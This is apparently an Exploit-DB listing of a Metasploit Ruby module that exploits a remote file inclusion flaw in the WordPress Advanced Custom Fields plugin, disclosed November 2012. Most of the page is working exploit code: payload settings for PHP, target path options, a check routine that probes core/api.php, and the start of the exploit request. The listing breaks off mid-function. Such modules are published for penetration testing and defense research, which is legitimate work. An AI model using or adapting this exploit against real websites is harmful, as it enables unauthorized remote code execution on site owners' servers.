WordPress Plugin Advanced Custom Fields - Remote File Inclusion (Metasploit)

EDB-ID:

23856

CVE:

EDB Verified: ✓

Author:

METASPLOIT

Type:

REMOTE

Exploit: / {}

```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer::PHPInclude

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'WordPress Plugin Advanced Custom Fields
Remote File Inclusion',
            'Description'    => %q{
                    This module exploits a remote file inclusion flaw in
the WordPress blogging
                software plugin known as Advanced Custom Fields. The
```



```
            'Payload'        =>
                {
                    'DisableNops' => true,
                    'Compat'      =>
                        {
                            'ConnectionType' => 'find',
                        },
                },
            'Platform'       => 'php',
            'Arch'           => ARCH_PHP,
            'Targets'        => [[ 'Automatic', { }]],
            'DisclosureDate' => 'Nov 14 2012',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('TARGETURI', [true, 'The full URI path to
WordPress', '/']),
                OptString.new('PLUGINSPATH', [true, 'The relative path to
the plugins folder', 'wp-content/plugins/']),
            ], self.class)
    end

    def check
        uri = target_uri.path
```

```
        uri << '/' if uri[-1,1] != '/'
        uri << datastore['PLUGINSPATH']
        uri << '/' if uri[-1,1] != '/'

        res = send_request_cgi({
            'method' => 'POST',
            'uri'    => "#{uri}advanced-custom-fields/core/api.php"
        })

        if res and res.code == 200
            return Exploit::CheckCode::Detected
        else
            return Exploit::CheckCode::Safe
        end
    end

    def php_exploit
        uri = target_uri.path
        uri << '/' if uri[-1,1] != '/'
        uri << datastore['PLUGINSPATH']
        uri << '/' if uri[-1,1] != '/'

        print_status('Sending request')
        res = send_request_cgi({
            'method' => 'POST'
```


Tags: Metasploit Framework (MSF) WordPress Plugin

Advisory/Source: Link